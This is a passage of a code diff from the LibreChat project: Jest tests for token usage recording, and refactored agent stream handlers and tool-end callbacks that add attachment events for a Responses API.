+jest.mock('~/models/Agent', () => ({ + getAgent: jest.fn().mockResolvedValue({ + id: 'agent-123', + name: 'Test Agent', + provider: 'anthropic', + model_parameters: { model: 'claude-3' }, + }), + getAgents: jest.fn().mockResolvedValue([]), +})); + +const mockUpdateBalance = jest.fn().mockResolvedValue({}); +const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined); +jest.mock('~/models', () => ({ + getFiles: jest.fn(), + getUserKey: jest.fn(), + getMessages: jest.fn().mockResolvedValue([]), + saveMessage: jest.fn().mockResolvedValue({}), + updateFilesUsage: jest.fn(), + getUserKeyValues: jest.fn(), + getUserCodeFiles: jest.fn(), + getToolFilesByIds: jest.fn(), + getCodeGeneratedFiles: jest.fn(), + updateBalance: mockUpdateBalance, + bulkInsertTransactions: mockBulkInsertTransactions, +})); + +describe('createResponse controller', () => { + let createResponse; + let req, res; + + beforeEach(() => { + jest.clearAllMocks(); + + const controller = require('../responses'); + createResponse = controller.createResponse; + + req = { + body: { + model: 'agent-123', + input: 'Hello', + stream: false, + }, + user: { id: 'user-123' }, + config: { + endpoints: { + agents: { allowedProviders: ['anthropic'] }, + }, + }, + on: jest.fn(), + }; + + res = { + status: jest.fn().mockReturnThis(), + json: jest.fn(), + setHeader: jest.fn(), + flushHeaders: jest.fn(), + end: jest.fn(), + write: jest.fn(), + }; + }); + + describe('token usage recording - non-streaming', () => { + it('should call recordCollectedUsage after successful non-streaming completion', async () => { + await createResponse(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier }, + bulkWriteOps: { + insertMany: mockBulkInsertTransactions, + updateBalance: mockUpdateBalance, + }, + }, + expect.objectContaining({ + user: 'user-123', + conversationId: expect.any(String), + collectedUsage: expect.any(Array), + context: 'message', + }), + ); + }); + + it('should pass balance and transactions config to recordCollectedUsage', async () => { + mockGetBalanceConfig.mockReturnValue({ enabled: true, startBalance: 2000 }); + mockGetTransactionsConfig.mockReturnValue({ enabled: true }); + + await createResponse(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + balance: { enabled: true, startBalance: 2000 }, + transactions: { enabled: true }, + }), + ); + }); + + it('should pass spendTokens, spendStructuredTokens, pricing, and bulkWriteOps as dependencies', async () => { + await createResponse(req, res); + + const [deps] = mockRecordCollectedUsage.mock.calls[0]; + expect(deps).toHaveProperty('spendTokens', mockSpendTokens); + expect(deps).toHaveProperty('spendStructuredTokens', mockSpendStructuredTokens); + expect(deps).toHaveProperty('pricing'); + expect(deps.pricing).toHaveProperty('getMultiplier', mockGetMultiplier); + expect(deps.pricing).toHaveProperty('getCacheMultiplier', mockGetCacheMultiplier); + expect(deps).toHaveProperty('bulkWriteOps'); + expect(deps.bulkWriteOps).toHaveProperty('insertMany', mockBulkInsertTransactions); + expect(deps.bulkWriteOps).toHaveProperty('updateBalance', mockUpdateBalance); + }); + + it('should include model from primaryConfig in recordCollectedUsage params', async () => { + await createResponse(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + model: 'claude-3', + }), + ); + }); + }); + + describe('token usage recording - streaming', () => { + beforeEach(() => { + req.body.stream = true; + + const api = require('@librechat/api'); + api.validateResponseRequest.mockReturnValue({ + request: { model: 'agent-123', input: 'Hello', stream: true }, + }); + }); + + it('should call recordCollectedUsage after successful streaming completion', async () => { + await createResponse(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1); + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + { + spendTokens: mockSpendTokens, + spendStructuredTokens: mockSpendStructuredTokens, + pricing: { getMultiplier: mockGetMultiplier, getCacheMultiplier: mockGetCacheMultiplier }, + bulkWriteOps: { + insertMany: mockBulkInsertTransactions, + updateBalance: mockUpdateBalance, + }, + }, + expect.objectContaining({ + user: 'user-123', + context: 'message', + }), + ); + }); + }); + + describe('collectedUsage population', () => { + it('should collect usage from on_chat_model_end events', async () => { + const api = require('@librechat/api'); + + let capturedOnChatModelEnd; + api.createAggregatorEventHandlers.mockImplementation(() => { + return { + on_message_delta: { handle: jest.fn() }, + on_reasoning_delta: { handle: jest.fn() }, + on_run_step: { handle: jest.fn() }, + on_run_step_delta: { handle: jest.fn() }, + on_chat_model_end: { + handle: jest.fn((event, data) => { + if (capturedOnChatModelEnd) { + capturedOnChatModelEnd(event, data); + } + }), + }, + }; + }); + + api.createRun.mockImplementation(async ({ customHandlers }) => { + capturedOnChatModelEnd = (event, data) => { + customHandlers.on_chat_model_end.handle(event, data); + }; + + return { + processStream: jest.fn().mockImplementation(async () => { + customHandlers.on_chat_model_end.handle('on_chat_model_end', { + output: { + usage_metadata: { + input_tokens: 150, + output_tokens: 75, + model: 'claude-3', + }, + }, + }); + }), + }; + }); + + await createResponse(req, res); + + expect(mockRecordCollectedUsage).toHaveBeenCalledWith( + expect.any(Object), + expect.objectContaining({ + collectedUsage: expect.arrayContaining([ + expect.objectContaining({ + input_tokens: 150, + output_tokens: 75, + }), + ]), + }), + ); + }); + }); +}); diff --git a/api/server/controllers/agents/callbacks.js b/api/server/controllers/agents/callbacks.js index 0d2a7bc317..0bb935795d 100644 --- a/api/server/controllers/agents/callbacks.js +++ b/api/server/controllers/agents/callbacks.js @@ -1,16 +1,13 @@ const { nanoid } = require('nanoid'); -const { sendEvent, GenerationJobManager } = require('@librechat/api'); const { logger } = require('@librechat/data-schemas'); +const { Constants, EnvVar, GraphEvents, ToolEndHandler } = require('@librechat/agents'); const { Tools, StepTypes, FileContext, ErrorTypes } = require('librechat-data-provider'); const { - EnvVar, - Providers, - GraphEvents, - getMessageId, - ToolEndHandler, - handleToolCalls, - ChatModelStreamHandler, -} = require('@librechat/agents'); + sendEvent, + GenerationJobManager, + writeAttachmentEvent, + createToolExecuteHandler, +} = require('@librechat/api'); const { processFileCitations } = require('~/server/services/Files/Citations'); const { processCodeOutput } = require('~/server/services/Files/Code/process'); const { loadAuthValues } = require('~/server/services/Tools/credentials'); @@ -51,8 +48,6 @@ class ModelEndHandler { let errorMessage; try { const agentContext = graph.getAgentContext(metadata); - const isGoogle = agentContext.provider === Providers.GOOGLE; - const streamingDisabled = !!agentContext.clientOptions?.disableStreaming; if (data?.output?.additional_kwargs?.stop_reason === 'refusal') { const info = { ...data.output.additional_kwargs }; errorMessage = JSON.stringify({ @@ -67,21 +62,6 @@ class ModelEndHandler { }); } - const toolCalls = data?.output?.tool_calls; - let hasUnprocessedToolCalls = false; - if (Array.isArray(toolCalls) && toolCalls.length > 0 && graph?.toolCallStepIds?.has) { - try { - hasUnprocessedToolCalls = toolCalls.some( - (tc) => tc?.id && !graph.toolCallStepIds.has(tc.id), - ); - } catch { - hasUnprocessedToolCalls = false; - } - } - if (isGoogle || streamingDisabled || hasUnprocessedToolCalls) { - await handleToolCalls(toolCalls, metadata, graph); - } - const usage = data?.output?.usage_metadata; if (!usage) { return this.finalize(errorMessage); @@ -92,38 +72,6 @@ class ModelEndHandler { } this.collectedUsage.push(usage); - if (!streamingDisabled) { - return this.finalize(errorMessage); - } - if (!data.output.content) { - return this.finalize(errorMessage); - } - const stepKey = graph.getStepKey(metadata); - const message_id = getMessageId(stepKey, graph) ?? ''; - if (message_id) { - await graph.dispatchRunStep(stepKey, { - type: StepTypes.MESSAGE_CREATION, - message_creation: { - message_id, - }, - }); - } - const stepId = graph.getStepIdByKey(stepKey); - const content = data.output.content; - if (typeof content === 'string') { - await graph.dispatchMessageDelta(stepId, { - content: [ - { - type: 'text', - text: content, - }, - ], - }); - } else if (content.every((c) => c.type?.startsWith('text'))) { - await graph.dispatchMessageDelta(stepId, { - content, - }); - } } catch (error) { logger.error('Error handling model end event:', error); return this.finalize(errorMessage); @@ -146,18 +94,26 @@ function checkIfLastAgent(last_agent_id, langgraph_node) { /** * Helper to emit events either to res (standard mode) or to job emitter (resumable mode). + * In Redis mode, awaits the emit to guarantee event ordering (critical for streaming deltas). * @param {ServerResponse} res - The server response object * @param {string | null} streamId - The stream ID for resumable mode, or null for standard mode * @param {Object} eventData - The event data to send + * @returns {Promise} */ -function emitEvent(res, streamId, eventData) { +async function emitEvent(res, streamId, eventData) { if (streamId) { - GenerationJobManager.emitChunk(streamId, eventData); + await GenerationJobManager.emitChunk(streamId, eventData); } else { sendEvent(res, eventData); } } +/** + * @typedef {Object} ToolExecuteOptions + * @property {(toolNames: string[]) => Promise<{loadedTools: StructuredTool[]}>} loadTools - Function to load tools by name + * @property {Object} configurable - Configurable context for tool invocation + */ + /** * Get default handlers for stream events. * @param {Object} options - The options object. @@ -166,6 +122,7 @@ function emitEvent(res, streamId, eventData) { * @param {ToolEndCallback} options.toolEndCallback - Callback to use when tool ends. * @param {Array} options.collectedUsage - The list of collected usage metadata. * @param {string | null} [options.streamId] - The stream ID for resumable mode, or null for standard mode. + * @param {ToolExecuteOptions} [options.toolExecuteOptions] - Options for event-driven tool execution. * @returns {Record} The default handlers. * @throws {Error} If the request is not found. */ @@ -175,6 +132,7 @@ function getDefaultHandlers({ toolEndCallback, collectedUsage, streamId = null, + toolExecuteOptions = null, }) { if (!res || !aggregateContent) { throw new Error( @@ -184,7 +142,6 @@ function getDefaultHandlers({ const handlers = { [GraphEvents.CHAT_MODEL_END]: new ModelEndHandler(collectedUsage), [GraphEvents.TOOL_END]: new ToolEndHandler(toolEndCallback, logger), - [GraphEvents.CHAT_MODEL_STREAM]: new ChatModelStreamHandler(), [GraphEvents.ON_RUN_STEP]: { /** * Handle ON_RUN_STEP event. @@ -192,18 +149,19 @@ function getDefaultHandlers({ * @param {StreamEventData} data - The event data. * @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata. */ - handle: (event, data, metadata) => { + handle: async (event, data, metadata) => { + aggregateContent({ event, data }); if (data?.stepDetails.type === StepTypes.TOOL_CALLS) { - emitEvent(res, streamId, { event, data }); + await emitEvent(res, streamId, { event, data }); } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { - emitEvent(res, streamId, { event, data }); + await emitEvent(res, streamId, { event, data }); } else if (!metadata?.hide_sequential_outputs) { - emitEvent(res, streamId, { event, data }); + await emitEvent(res, streamId, { event, data }); } else { const agentName = metadata?.name ?? 'Agent'; const isToolCall = data?.stepDetails.type === StepTypes.TOOL_CALLS; const action = isToolCall ? 'performing a task...' : 'thinking...'; - emitEvent(res, streamId, { + await emitEvent(res, streamId, { event: 'on_agent_update', data: { runId: metadata?.run_id, @@ -211,7 +169,6 @@ function getDefaultHandlers({ }, }); } - aggregateContent({ event, data }); }, }, [GraphEvents.ON_RUN_STEP_DELTA]: { @@ -221,15 +178,15 @@ function getDefaultHandlers({ * @param {StreamEventData} data - The event data. * @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata. */ - handle: (event, data, metadata) => { - if (data?.delta.type === StepTypes.TOOL_CALLS) { - emitEvent(res, streamId, { event, data }); - } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { - emitEvent(res, streamId, { event, data }); - } else if (!metadata?.hide_sequential_outputs) { - emitEvent(res, streamId, { event, data }); - } + handle: async (event, data, metadata) => { aggregateContent({ event, data }); + if (data?.delta.type === StepTypes.TOOL_CALLS) { + await emitEvent(res, streamId, { event, data }); + } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { + await emitEvent(res, streamId, { event, data }); + } else if (!metadata?.hide_sequential_outputs) { + await emitEvent(res, streamId, { event, data }); + } }, }, [GraphEvents.ON_RUN_STEP_COMPLETED]: { @@ -239,15 +196,15 @@ function getDefaultHandlers({ * @param {StreamEventData & { result: ToolEndData }} data - The event data. * @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata. */ - handle: (event, data, metadata) => { - if (data?.result != null) { - emitEvent(res, streamId, { event, data }); - } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { - emitEvent(res, streamId, { event, data }); - } else if (!metadata?.hide_sequential_outputs) { - emitEvent(res, streamId, { event, data }); - } + handle: async (event, data, metadata) => { aggregateContent({ event, data }); + if (data?.result != null) { + await emitEvent(res, streamId, { event, data }); + } else if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { + await emitEvent(res, streamId, { event, data }); + } else if (!metadata?.hide_sequential_outputs) { + await emitEvent(res, streamId, { event, data }); + } }, }, [GraphEvents.ON_MESSAGE_DELTA]: { @@ -257,13 +214,13 @@ function getDefaultHandlers({ * @param {StreamEventData} data - The event data. * @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata. */ - handle: (event, data, metadata) => { - if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { - emitEvent(res, streamId, { event, data }); - } else if (!metadata?.hide_sequential_outputs) { - emitEvent(res, streamId, { event, data }); - } + handle: async (event, data, metadata) => { aggregateContent({ event, data }); + if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { + await emitEvent(res, streamId, { event, data }); + } else if (!metadata?.hide_sequential_outputs) { + await emitEvent(res, streamId, { event, data }); + } }, }, [GraphEvents.ON_REASONING_DELTA]: { @@ -273,22 +230,27 @@ function getDefaultHandlers({ * @param {StreamEventData} data - The event data. * @param {GraphRunnableConfig['configurable']} [metadata] The runnable metadata. */ - handle: (event, data, metadata) => { - if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { - emitEvent(res, streamId, { event, data }); - } else if (!metadata?.hide_sequential_outputs) { - emitEvent(res, streamId, { event, data }); - } + handle: async (event, data, metadata) => { aggregateContent({ event, data }); + if (checkIfLastAgent(metadata?.last_agent_id, metadata?.langgraph_node)) { + await emitEvent(res, streamId, { event, data }); + } else if (!metadata?.hide_sequential_outputs) { + await emitEvent(res, streamId, { event, data }); + } }, }, }; + if (toolExecuteOptions) { + handlers[GraphEvents.ON_TOOL_EXECUTE] = createToolExecuteHandler(toolExecuteOptions); + } + return handlers; } /** * Helper to write attachment events either to res or to job emitter. + * Note: Attachments are not order-sensitive like deltas, so fire-and-forget is acceptable. * @param {ServerResponse} res - The server response object * @param {string | null} streamId - The stream ID for resumable mode, or null for standard mode * @param {Object} attachment - The attachment data @@ -441,10 +403,10 @@ function createToolEndCallback({ req, res, artifactPromises, streamId = null }) return; } - { - if (output.name !== Tools.execute_code) { - return; - } + const isCodeTool = + output.name === Tools.execute_code || output.name === Constants.PROGRAMMATIC_TOOL_CALLING; + if (!isCodeTool) { + return; } if (!output.artifact.files) { @@ -488,7 +450,226 @@ function createToolEndCallback({ req, res, artifactPromises, streamId = null }) }; } +/** + * Helper to write attachment events in Open Responses format (librechat:attachment) + * @param {ServerResponse} res - The server response object + * @param {Object} tracker - The response tracker with sequence number + * @param {Object} attachment - The attachment data + * @param {Object} metadata - Additional metadata (messageId, conversationId) + */ +function writeResponsesAttachment(res, tracker, attachment, metadata) { + const sequenceNumber = tracker.nextSequence(); + writeAttachmentEvent(res, sequenceNumber, attachment, { + messageId: metadata.run_id, + conversationId: metadata.thread_id, + }); +} + +/** + * Creates a tool end callback specifically for the Responses API. + * Emits attachments as `librechat:attachment` events per the Open Responses extension spec. + * + * @param {Object} params + * @param {ServerRequest} params.req + * @param {ServerResponse} params.res + * @param {Object} params.tracker - Response tracker with sequence number + * @param {Promise[]} params.artifactPromises + * @returns {ToolEndCallback} The tool end callback. + */ +function createResponsesToolEndCallback({ req, res, tracker, artifactPromises }) { + /** + * @type {ToolEndCallback} + */ + return async (data, metadata) => { + const output = data?.output; + if (!output) { + return; + } + + if (!output.artifact) { + return; + } + + if (output.artifact[Tools.file_search]) { + artifactPromises.push( + (async () => { + const user = req.user; + const attachment = await processFileCitations({ + user, + metadata, + appConfig: req.config, + toolArtifact: output.artifact, + toolCallId: output.tool_call_id, + }); + if (!attachment) { + return null; + } + // For Responses API, emit attachment during streaming + if (res.headersSent && !res.writableEnded) { + writeResponsesAttachment(res, tracker, attachment, metadata); + } + return attachment; + })().catch((error) => { + logger.error('Error processing file citations:', error); + return null; + }), + ); + } + + if (output.artifact[Tools.ui_resources]) { + artifactPromises.push( + (async () => { + const attachment = { + type: Tools.ui_resources, + toolCallId: output.tool_call_id, + [Tools.ui_resources]: output.artifact[Tools.ui_resources].data, + }; + // For Responses API, always emit attachment during streaming + if (res.headersSent && !res.writableEnded) { + writeResponsesAttachment(res, tracker, attachment, metadata); + } + return attachment; + })().catch((error) => { + logger.error('Error processing artifact content:', error); + return null; + }), + ); + } + + if (output.artifact[Tools.web_search]) { + artifactPromises.push( + (async () => { + const attachment = { + type: Tools.web_search, + toolCallId: output.tool_call_id, + [Tools.web_search]: { ...output.artifact[Tools.web_search] }, + }; + // For Responses API, always emit attachment during streaming + if (res.headersSent && !res.writableEnded) { + writeResponsesAttachment(res, tracker, attachment, metadata); + } + return attachment; + })().catch((error) => { + logger.error('Error processing artifact content:', error); + return null; + }), + ); + } + + if (output.artifact.content) { + /** @type {FormattedContent[]} */ + const content = output.artifact.content; + for (let i = 0; i < content.length; i++) { + const part = content[i]; + if (!part) { + continue; + } + if (part.type !== 'image_url') { + continue; + } + const { url } = part.image_url; + artifactPromises.push( + (async () => { + const filename = `${output.name}_img_${nanoid()}`; + const file_id = output.artifact.file_ids?.[i]; + const file = await saveBase64Image(url, { + req, + file_id, + filename, + endpoint: metadata.provider, + context: FileContext.image_generation, + }); + const fileMetadata = Object.assign(file, { + toolCallId: output.tool_call_id, + }); + + if (!fileMetadata) { + return null; + } + + // For Responses API, emit attachment during streaming + if (res.headersSent && !res.writableEnded) { + const attachment = { + file_id: fileMetadata.file_id, + filename: fileMetadata.filename, + type: fileMetadata.type, + url: fileMetadata.filepath, + width: fileMetadata.width, + height: fileMetadata.height, + tool_call_id: output.tool_call_id, + }; + writeResponsesAttachment(res, tracker, attachment, metadata); + } + + return fileMetadata; + })().catch((error) => { + logger.error('Error processing artifact content:', error); + return null; + }), + ); + } + return; + } + + const isCodeTool = + output.name === Tools.execute_code || output.name === Constants.PROGRAMMATIC_TOOL_CALLING; + if (!isCodeTool) { + return; + } + + if (!output.artifact.files) { + return; + } + + for (const file of output.artifact.files) { + const { id, name } = file; + artifactPromises.push( + (async () => { + const result = await loadAuthValues({ + userId: req.user.id, + authFields: [EnvVar.CODE_API_KEY], + }); + const fileMetadata = await processCodeOutput({ + req, + id, + name, + apiKey: result[EnvVar.CODE_API_KEY], + messageId: metadata.run_id, + toolCallId: output.tool_call_id, + conversationId: metadata.thread_id, + session_id: output.artifact.session_id, + }); + + if (!fileMetadata) { + return null; + } + + // For Responses API, emit attachment during streaming + if (res.headersSent && !res.writableEnded) { + const attachment = { + file_id: fileMetadata.file_id, + filename: fileMetadata.filename, + type: fileMetadata.type, + url: fileMetadata.filepath, + width: fileMetadata.width, + height: fileMetadata.height, + tool_call_id: output.tool_call_id, + }; + writeResponsesAttachment(res, tracker, attachment, metadata); + } + + return fileMetadata; + })().catch((error) => { + logger.error('Error processing code output:', error); + return null; + }), + ); + } + }; +} + module.exports = { getDefaultHandlers, createToolEndCallback, + createResponsesToolEndCallback, }; diff --git a/api/server/controllers/agents/client.js b/api/server/controllers/agents/client.js index 90e9640d5c..0ecd62b819 100644 --- a/api/server/controllers/agents/client.js +++ b/api/server/controllers/agents/client.js @@ -5,18 +5,24 @@ const { createRun, Tokenizer, checkAccess, - logAxiosError, + buildToolSet, sanitizeTitle, + logToolError, + payloadParser, resolveHeaders, createSafeUser, initializeAgent, getBalanceConfig, + omitTitleOptions, getProviderConfig, memoryInstructions, + createTokenCounter, applyContextToAgent, + recordCollectedUsage, GenerationJobManager, getTransactionsConfig, createMemoryProcessor, + createMultiAgentMapper, filterMalformedContentParts, } = require('@librechat/api'); const { @@ -24,9 +30,7 @@ const { Providers, TitleMethod, formatMessage, - labelContentByAgent, formatAgentMessages, - getTokenCountForMessage, createMetadataAggregator, } = require('@librechat/agents'); const { @@ -38,11 +42,12 @@ const { PermissionTypes, isAgentsEndpoint, isEphemeralAgentId, - bedrockInputSchema, removeNullishValues, } = require('librechat-data-provider'); const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens'); const { encodeAndFormat } = require('~/server/services/Files/images/encode'); +const { updateBalance, bulkInsertTransactions } = require('~/models'); +const { getMultiplier, getCacheMultiplier } = require('~/models/tx'); const { createContextHandlers } = require('~/app/clients/prompts'); const { getConvoFiles } = require('~/models/Conversation'); const BaseClient = require('~/app/clients/BaseClient'); @@ -51,183 +56,6 @@ const { loadAgent } = require('~/models/Agent'); const { getMCPManager } = require('~/config'); const db = require('~/models'); -const omitTitleOptions = new Set([ - 'stream', - 'thinking', - 'streaming', - 'clientOptions', - 'thinkingConfig', - 'thinkingBudget', - 'includeThoughts', - 'maxOutputTokens', - 'additionalModelRequestFields', -]); - -/** - * @param {ServerRequest} req - * @param {Agent} agent - * @param {string} endpoint - */ -const payloadParser = ({ req, agent, endpoint }) => { - if (isAgentsEndpoint(endpoint)) { - return { model: undefined }; - } else if (endpoint === EModelEndpoint.bedrock) { - const parsedValues = bedrockInputSchema.parse(agent.model_parameters); - if (parsedValues.thinking == null) { - parsedValues.thinking = false; - } - return parsedValues; - } - return req.body.endpointOption.model_parameters; -}; - -function createTokenCounter(encoding) { - return function (message) { - const countTokens = (text) => Tokenizer.getTokenCount(text, encoding); - return getTokenCountForMessage(message, countTokens); - }; -} - -function logToolError(graph, error, toolId) { - logAxiosError({ - error, - message: `[api/server/controllers/agents/client.js #chatCompletion] Tool Error "${toolId}"`, - }); -} - -/** Regex pattern to match agent ID suffix (____N) */ -const AGENT_SUFFIX_PATTERN = /____(\d+)$/; - -/** - * Finds the primary agent ID within a set of agent IDs. - * Primary = no suffix (____N) or lowest suffix number. - * @param {Set} agentIds - * @returns {string | null} - */ -function findPrimaryAgentId(agentIds) { - let primaryAgentId = null; - let lowestSuffixIndex = Infinity; - - for (const agentId of agentIds) { - const suffixMatch = agentId.match(AGENT_SUFFIX_PATTERN); - if (!suffixMatch) { - return agentId; - } - const suffixIndex = parseInt(suffixMatch[1], 10); - if (suffixIndex < lowestSuffixIndex) { - lowestSuffixIndex = suffixIndex; - primaryAgentId = agentId; - } - } - - return primaryAgentId; -} - -/** - * Creates a mapMethod for getMessagesForConversation that processes agent content. - * - Strips agentId/groupId metadata from all content - * - For parallel agents (addedConvo with groupId): filters each group to its primary agent - * - For handoffs (agentId without groupId): keeps all content from all agents - * - For multi-agent: applies agent labels to content - * - * The key distinction: - * - Parallel execution (addedConvo): Parts have both agentId AND groupId - * - Handoffs: Parts only have agentId, no groupId - * - * @param {Agent} primaryAgent - Primary agent configuration - * @param {Map} [agentConfigs] - Additional agent configurations - * @returns {(message: TMessage) => TMessage} Map method for processing messages - */ -function createMultiAgentMapper(primaryAgent, agentConfigs) { - const hasMultipleAgents = (primaryAgent.edges?.length ?? 0) > 0 || (agentConfigs?.size ?? 0) > 0; - - /** @type {Record | null} */ - let agentNames = null; - if (hasMultipleAgents) { - agentNames = { [primaryAgent.id]: primaryAgent.name || 'Assistant' }; - if (agentConfigs) { - for (const [agentId, agentConfig] of agentConfigs.entries()) { - agentNames[agentId] = agentConfig.name || agentConfig.id; - } - } - } - - return (message) => { - if (message.isCreatedByUser || !Array.isArray(message.content)) { - return message; - } - - // Check for metadata - const hasAgentMetadata = message.content.some((part) => part?.agentId || part?.groupId != null); - if (!hasAgentMetadata) { - return message; - } - - try { - // Build a map of groupId -> Set of agentIds, to find primary per group - /** @type {Map>} */ - const groupAgentMap = new Map(); - - for (const part of message.content) { - const groupId = part?.groupId; - const agentId = part?.agentId; - if (groupId != null && agentId) { - if (!groupAgentMap.has(groupId)) { - groupAgentMap.set(groupId, new Set()); - } - groupAgentMap.get(groupId).add(agentId); - } - } - - // For each group, find the primary agent - /** @type {Map} */ - const groupPrimaryMap = new Map(); - for (const [groupId, agentIds] of groupAgentMap) { - const primary = findPrimaryAgentId(agentIds); - if (primary) { - groupPrimaryMap.set(groupId, primary); - } - } - - /** @type {Array} */ - const filteredContent = []; - /** @type {Record} */ - const agentIdMap = {}; - - for (const part of message.content) { - const agentId = part?.agentId; - const groupId = part?.groupId; - - // Filtering logic: - // - No groupId (handoffs): always include - // - Has groupId (parallel): only include if it's the primary for that group - const isParallelPart = groupId != null; - const groupPrimary = isParallelPart ? groupPrimaryMap.get(groupId) : null; - const shouldInclude = !isParallelPart || !agentId || agentId === groupPrimary; - - if (shouldInclude) { - const newIndex = filteredContent.length; - const { agentId: _a, groupId: _g, ...cleanPart } = part; - filteredContent.push(cleanPart); - if (agentId && hasMultipleAgents) { - agentIdMap[newIndex] = agentId; - } - } - } - - const finalContent = - Object.keys(agentIdMap).length > 0 && agentNames - ? labelContentByAgent(filteredContent, agentIdMap, agentNames) - : filteredContent; - - return { ...message, content: finalContent }; - } catch (error) { - logger.error('[AgentClient] Error processing multi-agent message:', error); - return message; - } - }; -} - class AgentClient extends BaseClient { constructor(options = {}) { super(null, options); @@ -295,14 +123,9 @@ class AgentClient extends BaseClient { checkVisionRequest() {} getSaveOptions() { - // TODO: - // would need to be override settings; otherwise, model needs to be undefined - // model: this.override.model, - // instructions: this.override.instructions, - // additional_instructions: this.override.additional_instructions, let runOptions = {}; try { - runOptions = payloadParser(this.options); + runOptions = payloadParser(this.options) ?? {}; } catch (error) { logger.error( '[api/server/controllers/agents/client.js #getSaveOptions] Error parsing options', @@ -313,14 +136,14 @@ class AgentClient extends BaseClient { return removeNullishValues( Object.assign( { + spec: this.options.spec, + iconURL: this.options.iconURL, endpoint: this.options.endpoint, agent_id: this.options.agent.id, modelLabel: this.options.modelLabel, - maxContextTokens: this.options.maxContextTokens, resendFiles: this.options.resendFiles, imageDetail: this.options.imageDetail, - spec: this.options.spec, - iconURL: this.options.iconURL, + maxContextTokens: this.maxContextTokens, }, // TODO: PARSE OPTIONS BY PROVIDER, MAY CONTAIN SENSITIVE DATA runOptions, @@ -655,6 +478,7 @@ class AgentClient extends BaseClient { updateFilesUsage: db.updateFilesUsage, getUserKeyValues: db.getUserKeyValues, getToolFilesByIds: db.getToolFilesByIds, + getCodeGeneratedFiles: db.getCodeGeneratedFiles, }, ); @@ -803,82 +627,29 @@ class AgentClient extends BaseClient { context = 'message', collectedUsage = this.collectedUsage, }) { - if (!collectedUsage || !collectedUsage.length) { - return; - } - // Use first entry's input_tokens as the base input (represents initial user message context) - // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens) - const firstUsage = collectedUsage[0]; - const input_tokens = - (firstUsage?.input_tokens || 0) + - (Number(firstUsage?.input_token_details?.cache_creation) || - Number(firstUsage?.cache_creation_input_tokens) || - 0) + - (Number(firstUsage?.input_token_details?.cache_read) || - Number(firstUsage?.cache_read_input_tokens) || - 0); - - // Sum output_tokens directly from all entries - works for both sequential and parallel execution - // This avoids the incremental calculation that produced negative values for parallel agents - let total_output_tokens = 0; - - for (const usage of collectedUsage) { - if (!usage) { - continue; - } - - // Support both OpenAI format (input_token_details) and Anthropic format (cache_*_input_tokens) - const cache_creation = - Number(usage.input_token_details?.cache_creation) || - Number(usage.cache_creation_input_tokens) || - 0; - const cache_read = - Number(usage.input_token_details?.cache_read) || Number(usage.cache_read_input_tokens) || 0; - - // Accumulate output tokens for the usage summary - total_output_tokens += Number(usage.output_tokens) || 0; - - const txMetadata = { + const result = await recordCollectedUsage( + { + spendTokens, + spendStructuredTokens, + pricing: { getMultiplier, getCacheMultiplier }, + bulkWriteOps: { insertMany: bulkInsertTransactions, updateBalance }, + }, + { + user: this.user ?? this.options.req.user?.id, + conversationId: this.conversationId, + collectedUsage, + model: model ?? this.model ?? this.options.agent.model_parameters.model, context, + messageId: this.responseMessageId, balance, transactions, - conversationId: this.conversationId, - user: this.user ?? this.options.req.user?.id, endpointTokenConfig: this.options.endpointTokenConfig, - model: usage.model ?? model ?? this.model ?? this.options.agent.model_parameters.model, - }; + }, + ); - if (cache_creation > 0 || cache_read > 0) { - spendStructuredTokens(txMetadata, { - promptTokens: { - input: usage.input_tokens, - write: cache_creation, - read: cache_read, - }, - completionTokens: usage.output_tokens, - }).catch((err) => { - logger.error( - '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending structured tokens', - err, - ); - }); - continue; - } - spendTokens(txMetadata, { - promptTokens: usage.input_tokens, - completionTokens: usage.output_tokens, - }).catch((err) => { - logger.error( - '[api/server/controllers/agents/client.js #recordCollectedUsage] Error spending tokens', - err, - ); - }); + if (result) { + this.usage = result; } - - this.usage = { - input_tokens, - output_tokens: total_output_tokens, - }; } /** @@ -967,13 +738,13 @@ class AgentClient extends BaseClient { }, user: createSafeUser(this.options.req.user), }, - recursionLimit: agentsEConfig?.recursionLimit ?? 25, + recursionLimit: agentsEConfig?.recursionLimit ?? 50, signal: abortController.signal, streamMode: 'values', version: 'v2', }; - const toolSet = new Set((this.options.agent.tools ?? []).map((tool) => tool && tool.name)); + const toolSet = buildToolSet(this.options.agent); let { messages: initialMessages, indexTokenCountMap } = formatAgentMessages( payload, this.indexTokenCountMap, @@ -1034,6 +805,7 @@ class AgentClient extends BaseClient { run = await createRun({ agents, + messages, indexTokenCountMap, runId: this.responseMessageId, signal: abortController.signal, @@ -1069,9 +841,10 @@ class AgentClient extends BaseClient { config.signal = null; }; + const hideSequentialOutputs = config.configurable.hide_sequential_outputs; await runAgents(initialMessages); /** @deprecated Agent Chain */ - if (config.configurable.hide_sequential_outputs) { + if (hideSequentialOutputs) { this.contentParts = this.contentParts.filter((part, index) => { // Include parts that are either: // 1. At or after the finalContentStart index @@ -1325,6 +1098,7 @@ class 